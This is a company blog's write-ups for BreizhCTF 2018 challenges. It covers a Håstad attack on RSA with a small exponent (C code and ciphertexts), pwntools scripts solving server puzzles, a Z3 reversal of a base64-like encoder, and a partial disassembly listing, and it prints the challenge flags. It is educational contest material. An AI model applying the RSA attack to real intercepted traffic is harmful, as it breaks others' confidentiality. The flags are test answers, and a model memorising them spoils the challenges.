Recrutement
Si vous êtes intéressés pour bosser sur des sujets sympas tout en restant loin de Paris, consultez nos offres d'emploi et envoyez nous votre CV à rh@amossys.fr.

BreizhCTF 2k18 Write-Ups

Amossys was a sponsor of the BreizhCTF 2k18, a French hacking competition over a single night (April 20-21th). Many challenges were proposed in a wide range of topics (Web, Reverse, Cryptography, etc). For this occasion, a team was created among our employees (Los Pedrolitos). Here are some write-ups of the solved challenges. And thanks to the organization team for this excellent event in Rennes!


[TOC]


Cryptography - Save The World

275 points

This challenge is made of a pcap file and the following text:

"Je vous annonce que la Poldavie a officielement enclenché le processus d'attaque nucléaire.

Les missiles sont armés et sont programmés à se lancer le samedi 21 Avril 2018 09h AM GMT+2. Le monde entier est visé, tout les pays à l'exception de la Poldavie seront rayé des cartes.

Le seul moyen d'éviter l'apocapypse serait de trouver le code de désactivation nucléaire.
Ce code est contenu dans un serveur extrêmement sécurisé et accessible uniquement aux généraux Poldaves.
Néanmoins j'ai réussi à y avoir un accès physique et sniffer tout ce qui pouvait y entrer et sortir pendant quelques minutes.

A première vue, pendant ce temps une vingtaine de généraux ont récupérés ce code sur le serveur :
Le serveur récupère la clé publique du général et lui envoi le code chiffré via RSA.

Pour l'instant c'est tout ce que j'ai pu en tirer, envoyez le tout à vos experts en cryptologie et prions pour qu'ils puissent trouver un moyen de récupérer ce code...

N'oubliez pas, si le code n'est pas retrouvé avant 9h, nous sommes tous perdus...

Bond".

It seems that the secret to recover is encrypted using RSA and was sent to several people. By analysing the pcap file using Wireshark, it is possible to retrieve 20 different TCP streams composed of a public key and an associated encrypted message, as shown below.

TCP stream

First of all, the 20 RSA public keys and the 20 associated encrypted messages were extracted from the pcap file and were saved in text files. Then, the content of each public key (N and e) was displayed using the following Python script.

#!/usr/bin/env python
#-*- coding: utf-8 -*-

from Crypto.PublicKey import RSA

p1 = RSA.importKey(open('rsa1.pem', 'r').read())
p2 = RSA.importKey(open('rsa2.pem', 'r').read())
p3 = RSA.importKey(open('rsa3.pem', 'r').read())
p4 = RSA.importKey(open('rsa4.pem', 'r').read())
p5 = RSA.importKey(open('rsa5.pem', 'r').read())
p6 = RSA.importKey(open('rsa6.pem', 'r').read())
p7 = RSA.importKey(open('rsa7.pem', 'r').read())
p8 = RSA.importKey(open('rsa8.pem', 'r').read())
p9 = RSA.importKey(open('rsa9.pem', 'r').read())
p10 = RSA.importKey(open('rsa10.pem', 'r').read())
p11 = RSA.importKey(open('rsa11.pem', 'r').read())
p12 = RSA.importKey(open('rsa12.pem', 'r').read())
p13 = RSA.importKey(open('rsa13.pem', 'r').read())
p14 = RSA.importKey(open('rsa14.pem', 'r').read())
p15 = RSA.importKey(open('rsa15.pem', 'r').read())
p16 = RSA.importKey(open('rsa16.pem', 'r').read())
p17 = RSA.importKey(open('rsa17.pem', 'r').read())
p18 = RSA.importKey(open('rsa18.pem', 'r').read())
p19 = RSA.importKey(open('rsa19.pem', 'r').read())
p20 = RSA.importKey(open('rsa20.pem', 'r').read())

p_array = [p1, p2, p3, p4, p5, p6, p7, p8, p9, p10, p11, p12, p13, p14, p15, p16, p17, p18, p19, p20]

for i in p_tab:
    print i.e, i.n

The result shows that each modulus (N) is different and that exponents (e) are either equal to 3 (in 5 cases) or 65537 (in 15 cases).

Knowing this information, the Hastad attack is relevant. It can be used when a unique RSA encrypted message is sent to several people using the same small exponent (e) (3, in this example case).

To be able to decrypt a message encrypted using the number 3 as exponent with this attack, at least 3 encrypted messages and 3 public keys are needed.

So, the first 3 modulus (N) and the first 3 encrypted messages were saved in a "data" text file, preceded by the exponent (3).

3
985b6e5a927111aa73a8e525fe5c0b9037656a6505099af2bcbd2540245261ef3ca42885c4a2cacf49db4a3593c0cfc995fbfdd2e8d084560c6cbcdc8e0caf02ebaf3f21507561381bdabd399a5bf1247564fcd41611a089c719e63c0eb2d7a27cc80bc1146a67383e569754cea5bf3d63b81a54f548679015addd6f3a26cd58c1a25d4a24e9de59a80532a3140c41884a543961b85e31fa536f077498957a811a23eb946471b891bb0070bfc08ece10ff8fc588a846aa1c1f3a800ed407e8fc295d8c2bd1021dc7fa41696a2a3fca9c029a0a0c7b16d9928cf4a2ce3b8f73fcf3d55f04ca0c9c9164804d59d543f75d6a7514144042021b355a275e07c57deb,5316ee117c077c52351007e831421d180568d6ab0c33215149d64687d5f2517e5598e05dd9be192fc695b2ea8dde681c78115c0236db0bea3f7262f7b6206251359596792eeb2981683e876e9c6e907016b086bf31ab17bac430ed885f9b3bd04a6fdae3a0497ddc66d9f046da30d4e6a24dec8e965a49111217fab5c470167e962cca05b9257a22a30f4b23192b119608b8f358ff265fdbf4fe43098e7558f26f7c6b01e7001a59a1c201c104e622967cf6d4da512fdb2c8c54b24270fa299b00609220a0d0a39770fd6043257ff974456f4b737eeb27dd3019fc6de38aac5eb2c84cb656febb47f6302882a184ebadf0bf28a5f7ae775cf15f46d8f951104c
7de8abf2d4a082c2a947371aecdb667650938911394a40f69f827f85bd431648aee6cd282b78b4288733321b5f18d81411e4788c9c3c8156b1f1f429b481a58c7c9fdd9737162aecc84e78cf2b1788cf6c0c67b11d0b775314be3e690d20754cdb45b397f5a824cb3cdc183aea0d9642d3c0fa3114f15edadc11886eb34a54fbf4930121012148a76336ba8e3539bcd114318401c3ab0a604a0fe32ad85ab42d368bcd65bf6c67cbdaabdc1ee57c14b487162b549cdc81231cfe04e035f2c65a2de594d912221130e0f4051c121e709c97d45e78c661629b342bb8f10b3a1d4381dbc8e8e23a33decfa37fb2293f16e6d18d9dd8258c1ef19f29b41a5e640fbb,510e652e0859bd34b37800aa479e7eb908cd919460ddc3566fa36e58d4fa80421838f87ae4cf96c4175547a79ca73cbdd06eae00cb848264de948960436088816f05303c9bef2491bb5060db592a63af0f7db1d054b20db40bcfbc421e066fbcd0c3462e62346e75ecbc8d3192912271f488926f59dbb60b609b88df908aaa88e807013133841715a9a821555c0a88ea467fbd2deb795d06aea711a0fc0b8a77c4a66f4cff2e5c7270e81ddcfd3ed17dee7019937b62624d7c759ca0682a8a2197e97101aa324aa4b218c57b6686e8d54d02e56e3162f85f5a381a9e66ef5422e106632dcdbe84a1863eef28f1740e8a185c266d03206ff0505ef6901a980960
9df37eb2caeb3545d134f7f4c0c5366e1271d74319c15b1954fdb3fa417238fd2d8bee657defb490dc709cea553519043ed4e2a00943dd1ca0d3f70983d0d2d83a2ea0a23978a718c8dc4d35af7ffd11ec6a6f7b44e7fcefdbae03dba75aa3081f6135692ec70bcdb3963778baf5f307e3a113e1f257fb4c587e54e144faa3861a14df1656ac16772fd510fa56a780e6e9b8672dbd9b54b6e2d7cb600af527e01a33fc9f3aaedd216c0c3f9c83d6d5f521ecb6cdc5aa826eb477d411e6501ea2a2426d8a27eef0c0eff4a41267187b15c6db254752eaa0b2913014de35f1bc7666982406404d9cf24c70e24e64f6db45d399ca78936c9b32a3f79e5cd82b8edb,34421ed16b4e0c2eccb0dfccbe634b2491d10b2889531bbc9df1d414ecdb97ce65b1bcbde844dda04e58a5e3de3f935cdb20142c371636a834ddbdf8e41079c9f1b0c6cd509ec807b787c1bd621adda7d0399bf33dd41b5cc9b412ee75a276acdb9f98e0dc5ba77856fbec6fbed71f67004bd83026be17ea59312f0c3716b9455cc83412ca0c670b2ccac886232444b54b33d33ec963ea1a0ddf432763f520f7b3055a95d0474bf86cd3ca3f5b007c6eb618f527d4ee1d4c7811c84d4f7ea67573337949572db5eccedc846293b39858c2e0b83d64fe059dd25f1d3ec98a57e1a3364d61efe333a9be276166629fdc70441f6642023e19740391abb39810adc3

Then, the following C program was implemented to perform the Hastad attack.

#include <gmp.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define BITCOUNT 8192
#define FILENAME "data"

//Returns the number of lines of the file
int nb_lines ()
{
  FILE *f = NULL;
  int sum = 0;
  char c = 0;
  char c_prev = 0;
  if ((f = fopen(FILENAME, "r")) == NULL)
  {
    printf("Error : cannot open file %s !\n", FILENAME);
    return -1;
  }
  while ((c = fgetc(f)) != EOF)
  {
    if (c == '\n' && c_prev != '\n')
    {
      sum++;
    }
    c_prev = c;
  }
  fclose(f);
  return sum;
}

void array_init (mpz_t *n, int lines)
{
  int i = 0;
  for (i = 0; i < lines; i++)
  {
    mpz_init2(*(n + i), BITCOUNT);
  }
}

void array_free (mpz_t *n, int lines)
{
  int i = 0;
  for (i = 0; i < lines; i++)
  {
    mpz_clear(*(n + i));
  }
}

//Computes the gcd between all values of n
//Return 1 if the gcd of all values is 1
//Return the first found value if != 1
int pgcd (mpz_t *n, int lines)
{
  int i = 0;
  int j = 0;
  mpz_t tmp;
  mpz_init2(tmp, BITCOUNT);
  for (i = 0; i < lines - 1; i++)
  {
    for (j = i + 1; j < lines; j++)
    {
      mpz_gcd(tmp, *(n + i), *(n + j));
      if (mpz_cmp_ui(tmp, 1) != 0)
      {
        mpz_clear(tmp);
        printf("Error : the found gcd (%ld) is different of 1, the result cannot be found !\n", mpz_get_ui(tmp));
        return mpz_get_ui(tmp);
      }
    }
  }
  mpz_clear(tmp);
  return 1;
}

//Read the file and puts values in arrays
int read_file (mpz_t e, mpz_t *n, mpz_t *c)
{
  int i = 0;
  FILE *f = NULL;
  mpz_t cmp;
  char buffer[16386] = {0};
  mpz_init2(cmp, BITCOUNT);
  if ((f = fopen(FILENAME, "r")) == NULL)
  {
    printf("Error : cannot open file %s !\n", FILENAME);
    return -1;
  }
  fgets(buffer, 16386, f);
  mpz_set_str(e, buffer, 16);
  while (fgets(buffer, 16386, f))
  {
    if (strcmp(buffer, "\n") != 0)
    {
      mpz_set_str(*(n + i), strtok(buffer, ","), 16);
      mpz_set_str(*(c + i), strtok(NULL, ","), 16);
      i++;
    }
  }
  fclose(f);
  mpz_set_ui(cmp, i);
  if (mpz_cmp(e, cmp) > 0)
  {
    printf("Error : e too small, or the number of messages is insufficient !\n");
    mpz_clear(cmp);
    return -1;
  }
  mpz_clear(cmp);
  return 0;
}

//Performs the Hastad attack
int hastad (mpz_t *n, mpz_t e, mpz_t *c, int lines)
{
  int i = 0;
  int j = 0;
  int k = 0;
  mpz_t mod;
  mpz_t inv;
  mpz_t *tab;
  mpz_init2(mod, BITCOUNT);
  mpz_init2(inv, BITCOUNT);
  tab = (mpz_t *) calloc(lines, sizeof(mpz_t));
  array_init(tab, lines);
  mpz_set_ui(mod, 1);
  for (i = 0; i < lines; i++)
  {
    mpz_mul(mod, mod, *(n + i));
    mpz_set_ui(*(tab + i), 1);
  }
  for (i = 0; i < lines; i++, k++)
  {
    for (j = 0; j < lines; j++)
    {
      if (j != k)
      {
        mpz_mul(*(tab + k), *(tab + k), *(n + j));
      }
    }
    mpz_invert(inv, *(tab + k), *(n + k));
    mpz_mul(*(tab + k), *(tab + k), inv);
    mpz_mul(*(tab + k), *(tab + k), *(c + k));
    mpz_mod(*(tab + k), *(tab + k), mod);
  }
  mpz_set_ui(inv, 0);
  for (i = 0; i < lines; i++)
  {
    mpz_add(inv, inv, *(tab + i));
  }
  mpz_mod(inv, inv, mod);
  mpz_root(inv, inv, mpz_get_ui(e));
  gmp_printf("Message :\n0x%Zx\n", inv);
  array_free(tab, lines);
  free(tab);
  mpz_clear(mod);
  mpz_clear(inv);
  return 0;
}

int main (int argc, char *argv[])
{
  mpz_t e;
  mpz_t *n;
  mpz_t *c;
  int lines = nb_lines() - 1;
  mpz_init2(e, BITCOUNT);
  n = (mpz_t *) calloc(lines, sizeof(mpz_t));
  c = (mpz_t *) calloc(lines, sizeof(mpz_t));
  array_init(n, lines);
  array_init(c, lines);
  if (read_file(e, n, c) == 0 && pgcd(n, lines) == 1)
  {
    hastad(n, e, c, lines);
  }
  mpz_clear(e);
  array_free(n, lines);
  array_free(c, lines);
  free(n);
  free(c);
  return 0;
}

It was compiled using this command:

gcc -lgmp -Wall hastad.c -o hastad.out

Finally, executing the hastad.out file, the encrypted message could be decrypted. Here is the result:

0x7468697320697320746865207665727920766572792076657279207665727920766572792076657279207665727920736563726574206d657373616765202121212121200a627a685f326b31387b4330703352536d3174487d0a

Which corresponds to the following cleartext:

 echo "0x7468697320697320746865207665727920766572792076657279207665727920766572792076657279207665727920736563726574206d657373616765202121212121200a627a685f326b31387b4330703352536d3174487d0a" | xxd -r -p
this is the very very very very very very very secret message !!!!!
bzh_2k18{C0p3RSm1tH}

PS: We didn't manage to solve it completely during the event because we didn't extract enough TCP streams in the first place to see that some keys had 3 as exponent.

Programming - BreizhKartenn

300 points

In this challenge, we had to communicate with a server asking us if we would like to visit a certain city by sending us a zip code in green or red.

The main objective was to respond with the name of the city corresponding to the zip code. We had to respond Ya! Me gwel Rennes :) if the color was green or NANN! Me ne gwel ket Brest :/ if the color was red.

For example:

    [ROUND 1] - Breizh Kartenn: Gweladennin E 35000?
    >> YA! Me gwel Rennes :)
    [ROUND 2] - Breizh Kartenn: Gweladennin E 29200?
    >> NANN! Me ne guel ket Brest :/
    [ROUND 3] - Breizh Kartenn: Gweladennin E 22200?
    >> NANN! Me ne guel ket Guingamp :/
  

Only 2 rules :

  • 2 seconds maximum to send the response
  • 600 correct answers to get the flag

After some time, a hint was released, the link with zip code / city names correspondence: http://www.linternaute.com/ville/bretagne/region-53/villes.

Here is the Python script we wrote to communicate with the server:

#!/usr/bin/env python
#coding: utf-8

from pwn import *
from binascii import hexlify

HOST = '148.60.87.243'
PORT = 9400

r = remote(HOST, PORT)
r.recvuntil('start!')
r.sendline('')

gcp = {
  "Rennes": 35000,
  "Brest" : 29200,
  "Quimper" : 29000,
  "Lorient" : 56100,
  "Vannes" : 56000,
  "Saint-Malo" : 35400,
  "Saint-Brieuc" : 22000,
  "Lanester" : 56600,
  "Lannion" : 22300,
  "Fougères" : 35300,
  "Concarneau" : 29900,
  "Ploemeur" : 56270,
  "Vitré" : 35500,
  "Bruz" : 35170,
  "Morlaix" : 29600,
  "Landerneau" : 29800,
  "Cesson-Sévigné" : 35510,
  "Hennebont" : 56700,
  "Douarnenez" : 29100,
  "Plérin" : 22190,
  "Pontivy" : 56300,
  "Guipavas" : 29490,
  "Plougastel-Daoulas" : 29470,
  "Auray" : 56400,
  "Lamballe" : 22400,
  "Quimperlé" : 29300,
  "Plouzané" : 29280,
  "Ploufragan" : 22440,
  "Dinan" : 22100,
  "Le Relecq-Kerhuon" : 29480,
  "Dinard" : 35800,
  "Saint-Jacques-de-la-Lande" : 35136,
  "Saint-Avé" : 56890,
  "Guidel" : 56520,
  "Betton" : 35830,
  "Pacé" : 35740,
  "Loudéac" : 22600,
  "Chantepie" : 35135,
  "Redon" : 35600,
  "Landivisiau" : 29400,
  "Fouesnant" : 29170,
  "Ploërmel" : 56800,
  "Quéven" : 56530,
  "Séné" : 56860,
  "Saint-Grégoire" : 35760,
  "Larmor-Plage" : 56260,
  "Pont-l'Abbé" : 29120,
  "Vern-sur-Seiche" : 35770,
  "Janzé" : 35150,
  "Plabennec" : 29860,
  "Trégueux" : 22950,
  "Ergué-Gabéric" : 29500,
  "Crozon" : 29160,
  "Sarzeau" : 56370,
  "Le Rheu" : 35650,
  "Carhaix-Plouguer" : 29270,
  "Paimpol" : 22500,
  "Saint-Renan" : 29290,
  "Perros-Guirec" : 22700,
  "Guichen" : 35580,
  "Guilers" : 29820,
  "Questembert" : 56230,
  "Bain-de-Bretagne" : 35470,
  "Languidic" : 56440,
  "Guingamp" : 22200,
  "Chartres-de-Bretagne" : 35131,
  "Rosporden" : 29140,
  "Mordelles" : 35310,
  "Langueux" : 22360,
  "Thorigné-Fouillard" : 35235,
  "Lesneven" : 29260,
  "Pluvigner" : 56330,
  "Moëlan-sur-Mer" : 29350,
  "Caudan" : 56850,
  "Saint-Pol-de-Léon" : 29250,
  "Trégunc" : 29910,
  "Liffré" : 35340,
  "Theix-Noyalo" : 56450,
  "Châteaugiron" : 35410,
  "Brech" : 56400,
  "Montfort-sur-Meu" : 35160,
  "Plouguerneau" : 29880,
  "Ploudalmézeau" : 29830,
  "Noyal-Châtillon-sur-Seiche" : 35230,
  "Guer" : 56380,
  "Acigné" : 35690,
  "Gouesnou" : 29850,
  "Châteaubourg" : 35220,
  "Plédran" : 22960,
  "Inzinzac-Lochrist" : 56650,
  "Baud" : 56150,
  "Kervignac" : 56700,
  "Pleurtuit" : 35730,
  "Pordic" : 22590,
  "Plonéour-Lanvern" : 29720,
  "Penmarch" : 29760,
  "Ploeren" : 56880,
  "Combourg" : 35270,
  "Melesse" : 35520,
  "Bannalec" : 29380,
  "Noyal-sur-Vilaine" : 35530,
  "Arradon" : 56610,
  "Briec" : 29510,
  "Dol-de-Bretagne" : 35120,
  "Cancale" : 35260,
  "Elven" : 56250,
  "Lannilis" : 29870,
  "Scaër" : 29390,
  "Plouay" : 56240,
  "Châteaulin" : 29150,
  "Pluneret" : 56400,
  "Ploumagoar" : 22970,
  "Riantec" : 56670,
  "Quiberon" : 56170,
  "Bréal-sous-Montfort" : 35310,
  "Plouhinec" : 56680,
  "Grand-Champ" : 56390,
  "Locmaria-Plouzané" : 29280,
  "Yffiniac" : 22120,
  "Saint-Martin-des-Champs" : 29600,
  "Plouigneau" : 29610,
  "Montauban-de-Bretagne" : 35360,
  "Bégard" : 22140,
  "Plescop" : 56890,
  "Muzillac" : 56190,
  "Plouha" : 22580,
  "Plourin-lès-Morlaix" : 29600,
  "Saint-Méen-le-Grand" : 35290,
  "Vezin-le-Coquet" : 35132,
  "Laillé" : 35890,
  "La Mézière" : 35520,
  "Carnac" : 56340,
  "Iffendic" : 35750,
  "Locminé" : 56500,
  "La Guerche-de-Bretagne" : 35130,
  "Argentré-du-Plessis" : 35370,
  "Locmiquélic" : 56570,
  "Plouhinec" : 29780,
  "Baden" : 56870,
  "Loctudy" : 29750,
  "Goven" : 35580,
  "Riec-sur-Bélon" : 29340,
  "Plomelin" : 29700,
  "Gourin" : 56110,
  "Hillion" : 22120,
  "Nivillac" : 56130,
  "Clohars-Carnoët" : 29360,
  "Pléneuf-Val-André" : 22370,
  "Pleumeur-Bodou" : 22560,
  "Bédée" : 35137
}

def get_city(cp):
  cities = [k for k, v in gcp.iteritems() if v == int(cp)]
  if len(cities) < 1:
    return None
  return sorted(cities)[0]

def get_color(data):
  h = hexlify(data)
  if '39326d' in h:
    return 'green'
  elif '39316d' in h:
    return 'red'
  return None

def vive_la_normandie():
  finished = 0
  while True:
    ret = r.recvuntil('>>')
    if 'ROUND 30' in ret:
      finished = 1
    color = get_color(ret)
    cp = ret[ret.find('?')-5:ret.find('?')]
    city = get_city(cp)
    if color == None or city == None:
      break
    if color == 'red':
      answer = 'NANN! Me ne gwel ket %s :/' % city
    elif color == 'green':
      answer = 'YA! Me gwel %s :)' % city
    r.sendline(answer)
    if finished == 1:
      r.interactive()

if __name__ == '__main__':
  vive_la_normandie()

After many hours spent trying to figure out what to send when the zip code correspond to multiple cities, challenge's author told us that only 30 consecutive correct answers would be enough to get the flag... And here it is: BZHCTF{p4y_4773n710n_wh3n_l3c7ur3r_15_61v1n6_3x4m_h1n75}

Programming - BreizhPath

400 points

Another programming challenge, and again, we had to communicate with a server. This time, it consisted in finding the shortest path between two points in a labyrinth.
The map had the following format:

-  -  -  -  -  -  -  -  -  -
-  -  -  B  B  -  -  -  -  -
-  -  -  B  -  -  S  -  B  B
-  -  B  B  -  B  B  -  -  -
-  -  -  B  B  B  B  B  -  -
-  -  B  B  B  B  B  B  -  -
-  -  B  -  B  B  B  B  -  -
-  -  B  B  -  B  -  -  -  -
-  -  -  B  -  -  -  K  B  -
-  -  -  -  -  -  -  -  -  -

Where :

  • 'S' is the start point
  • 'K' is the end point
  • '-' is a free space
  • 'B' is a block

The server accept a string as answer where :

  • 'i' stands for up
  • 'k' stands for down
  • 'j' stands for left
  • 'l' stands for right

So, for this particular map, the shortest path would be lklkkkkjl.

We had to answer 50 times correctly and send responses within a short window (about 2 seconds) to get the flag. Obviously, the size of the map and the arrangement of all elements are random, each round after the other. We used the python-pathfinding library to find the path and we converted the resulting path before sending it.

#!/usr/bin/env python
#coding: utf-8

from pwn import *
from binascii import hexlify
import numpy

from pathfinding.core.diagonal_movement import DiagonalMovement
from pathfinding.core.grid import Grid
from pathfinding.finder.a_star import AStarFinder

HOST = '148.60.87.243'
PORT = 9500
r = remote(HOST, PORT)

def sanitize(l):
  new = ''
  for c in l:
    if c == '-':
      new += '0'
    elif c == 'K':
      new += '3'
    elif c == 'S':
      new += '2'
    elif c == 'B':
      new += '1'
  return new

def find_start(map):
  for i, m in enumerate(map):
    for j, c in enumerate(m):
      if '2' in c:
        return j, i

def find_end(map):
  for i, m in enumerate(map):
    for j, c in enumerate(m):
      if '3' in c:
        return j, i

def get_map(data):
  d = data[data.find(']')+1:]
  split = d.split('\n')
  l = []
  for s in split:
    if s.strip().rstrip():
      l.append(list(sanitize(s)))
  l = l[:-1]
  return l

def convert_path(p):
  pa = ''
  for i in range(0, len(p) - 1):
    tmp = numpy.subtract(p[i], p[i + 1])
    if tmp[0] == 1:
      pa += 'j' #LEFT
    elif tmp[0] == -1:
      pa += 'l' #RIGHT
    elif tmp[1] == 1:
      pa += 'i' #UP
    elif tmp[1] == -1:
      pa += 'k' #DOWN
  return pa

def find_path(map):
  grid = Grid(matrix=map)
  s = find_start(map)
  e = find_end(map)
  start = grid.node(s[0], s[1])
  end = grid.node(e[0], e[1])
  finder = AStarFinder(diagonal_movement=DiagonalMovement.never)
  path, runs = finder.find_path(start, end, grid)
  return convert_path(path)

def loop():
  i = 0
  while True:
    if i == 50:
      r.interactive()
      break
    ret = r.recvuntil('>>')
    map = get_map(ret)
    path = find_path(map)
    r.sendline(path)
    i += 1

if __name__ == '__main__':
  ret = r.recvuntil('GAME!')
  r.sendline()
  loop()

Executing this script gave us the following flag: BZHCTF{1_w45_br0k3_bu7_n0_m0r3}

Reverse - BreizhDebug

125 points

For this reverse challenge, there was no binary but only a python script doing some bitwise operations on user input.

#!/usr/bin/env python

def _encoder(flag):
    corresp = ['A', 'B', 'C', 'D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/']
    out = ""
    for i in [i for i in xrange(len(flag)) if not(i%3)]:
        if i + 3 > len(flag):
            out = None
            break
        out += corresp[(ord(flag[i]) >> 2) & 0x3F]
        out += corresp[(((ord(flag[i]) << 6 ) >> 2) & 0x30) | ((ord(flag[i + 1]) >> 4) & 0x0F)]
        out += corresp[(((ord(flag[i + 1]) << 4) >> 2) & 0x3C) | ((ord(flag[i + 2]) >> 6) & 0x03)]
        out += corresp[ord(flag[i + 2]) & 0x3F]
    return out

if __name__ == '__main__':
    while True:
        flag = raw_input()
        if _encoder(flag) == 'aXRJc1NvbWV0aW1lc1ZlcnlFYXN5VG9EZWZlYXRUaGlzS2luZE9mT2JmdXNjYXRpb24h':
            print 'BZHCTF{' + flag + '}'
        else:
            print "Try again!"

As we know both the encoded value of the flag and that the encoding function output 4 characters for one inputted, we can deduce the length of the flag with 68 / 4 = 17 and 17 * 3 = 51. A good solution to reverse this kind of challenge is to use a SMT solver. Here, we used Z3solver in python : we just had to feed it with constraints and let him do all the work for us.

#!/usr/bin/env python

from z3 import *

flag = [BitVec('f%d' % (i), 8) for i in range(51)]

corresp = ['A', 'B', 'C', 'D','E','F','G','H','I','J','K','L','M','N','O','P',
     'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
     'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
     '0','1','2','3','4','5','6','7','8','9','+','/']

enc = 'aXRJc1NvbWV0aW1lc1ZlcnlFYXN5VG9EZWZlYXRUaGlzS2luZE9mT2JmdXNjYXRpb24h'

s = Solver()

for i in range(0, 17):
    s.add((flag[i * 3] >> 2) & 0x3F == corresp.index(enc[i * 4]))
    s.add((((flag[i * 3] << 6 ) >> 2) & 0x30) | ((flag[i * 3 + 1] >> 4) & 0x0F) == corresp.index(enc[i * 4 + 1]))
    s.add((((flag[i * 3 + 1] << 4) >> 2) & 0x3C) | ((flag[i * 3 + 2] >> 6) & 0x03) == corresp.index(enc[i * 4 + 2]))
    s.add((flag[i * 3 + 2] & 0x3F) == corresp.index(enc[i * 4 + 3]))

final = ''
while s.check() != unsat:
    m = s.model()
    for i, f in enumerate(flag):
        final += chr(m[f].as_long())
        s.add(Or(f != m[f]))
    print 'BZHCTF{%s}' % final
else:
    print 'no solution'

The flag was: BZHCTF{itIsSometimesVeryEasyToDefeatThisKindOfObfuscation!}


Reverse - Louking4Briane

125 points

Another reverse challenge : this time, it's an ELF 64-bit binary.

Disassembling with objdump -M intel -d gave us the following output:

00000000000007d0 <main>:
  7d0:  55                      push   rbp
  7d1:  48 89 e5                mov    rbp,rsp
  7d4:  53                      push   rbx
  7d5:  48 81 ec 88 00 00 00    sub    rsp,0x88
  7dc:  c7 45 ec 00 00 00 00    mov    DWORD PTR [rbp-0x14],0x0
  7e3:  c7 45 e8 00 00 00 00    mov    DWORD PTR [rbp-0x18],0x0
  7ea:  48 b8 21 3d 5e 32 25    movabs rax,0x52255e25325e3d21                 ]---|
  7f1:  5e 25 52                                                                  |
  7f4:  48 89 85 70 ff ff ff    mov    QWORD PTR [rbp-0x90],rax                   |
  7fb:  48 b8 5e 56 32 50 39    movabs rax,0x5e4821395032565e                     |-- moving some data onto the stack
  802:  21 48 5e                                                                  |
  805:  48 89 85 78 ff ff ff    mov    QWORD PTR [rbp-0x88],rax                   |
  80c:  48 b8 55 32 29 4b 27    movabs rax,0x27274b293255                         |
  813:  27 00 00                                                              ]---|
  816:  48 89 45 80             mov    QWORD PTR [rbp-0x80],rax
  81a:  48 c7 45 88 00 00 00    mov    QWORD PTR [rbp-0x78],0x0
  821:  00
  822:  48 c7 45 90 00 00 00    mov    QWORD PTR [rbp-0x70],0x0
  829:  00
  82a:  48 c7 45 98 00 00 00    mov    QWORD PTR [rbp-0x68],0x0
  831:  00
  832:  66 c7 45 a0 00 00       mov    WORD PTR [rbp-0x60],0x0
  838:  48 8d 3d e1 01 00 00    lea    rdi,[rip+0x1e1]        # a20 <corresp+0x40>
  83f:  b8 00 00 00 00          mov    eax,0x0
  844:  e8 17 fe ff ff          call   660 <printf@plt>
  849:  48 8d 45 b0             lea    rax,[rbp-0x50]
  84d:  ba 32 00 00 00          mov    edx,0x32
  852:  be 00 00 00 00          mov    esi,0x0
  857:  48 89 c7                mov    rdi,rax
  85a:  e8 11 fe ff ff          call   670 <memset@plt>
  85f:  48 8d 45 b0             lea    rax,[rbp-0x50]
  863:  ba 31 00 00 00          mov    edx,0x31
  868:  48 89 c6                mov    rsi,rax
  86b:  bf 00 00 00 00          mov    edi,0x0
  870:  e8 0b fe ff ff          call   680 <read@plt>
  875:  89 45 e8                mov    DWORD PTR [rbp-0x18],eax
  878:  83 7d e8 00             cmp    DWORD PTR [rbp-0x18],0x0
  87c:  0f 88 9f 00 00 00       js     921 <main+0x151>
  882:  48 8d 3d ab 01 00 00    lea    rdi,[rip+0x1ab]        # a34 <corresp+0x54>
  889:  b8 00 00 00 00          mov    eax,0x0
  88e:  e8 cd fd ff ff          call   660 <printf@plt>
  893:  c7 45 ec 00 00 00 00    mov    DWORD PTR [rbp-0x14],0x0
  89a:  eb 5e                   jmp    8fa <main+0x12a>
  89c:  8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
  89f:  48 98                   cdqe   
  8a1:  0f b6 84 05 70 ff ff    movzx  eax,BYTE PTR [rbp+rax*1-0x90]
  8a8:  ff
  8a9:  d0 f8                   sar    al,1
  8ab:  0f be c0                movsx  eax,al
  8ae:  8d 50 10                lea    edx,[rax+0x10]
  8b1:  8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
  8b4:  48 98                   cdqe   
  8b6:  0f b6 44 05 b0          movzx  eax,BYTE PTR [rbp+rax*1-0x50]
  8bb:  0f be c0                movsx  eax,al
  8be:  39 c2                   cmp    edx,eax                                <-- comparison with stack data and our entry
  8c0:  74 09                   je     8cb <main+0xfb>
  8c2:  c7 45 e8 ff ff ff ff    mov    DWORD PTR [rbp-0x18],0xffffffff
  8c9:  eb 57                   jmp    922 <main+0x152>
  8cb:  8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
  8ce:  48 98                   cdqe   
  8d0:  0f b6 84 05 70 ff ff    movzx  eax,BYTE PTR [rbp+rax*1-0x90]
  8d7:  ff
  8d8:  0f be c0                movsx  eax,al
  8db:  83 e8 20                sub    eax,0x20
  8de:  48 63 d0                movsxd rdx,eax
  8e1:  48 8d 05 f8 00 00 00    lea    rax,[rip+0xf8]        # 9e0 <corresp>  <-- loading 'corresp' address
  8e8:  0f b6 04 02             movzx  eax,BYTE PTR [rdx+rax*1]               <-- corresp[char - 32]
  8ec:  0f be c0                movsx  eax,al
  8ef:  89 c7                   mov    edi,eax
  8f1:  e8 4a fd ff ff          call   640 <putchar@plt>
  8f6:  83 45 ec 01             add    DWORD PTR [rbp-0x14],0x1
  8fa:  8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
  8fd:  48 63 d8                movsxd rbx,eax
  900:  48 8d 45 b0             lea    rax,[rbp-0x50]
  904:  48 89 c7                mov    rdi,rax
  907:  e8 44 fd ff ff          call   650 <strlen@plt>
  90c:  48 83 e8 02             sub    rax,0x2
  910:  48 39 c3                cmp    rbx,rax
  913:  72 87                   jb     89c <main+0xcc>
  915:  bf 7d 00 00 00          mov    edi,0x7d
  91a:  e8 21 fd ff ff          call   640 <putchar@plt>
  91f:  eb 01                   jmp    922 <main+0x152>
  921:  90                      nop
  922:  8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
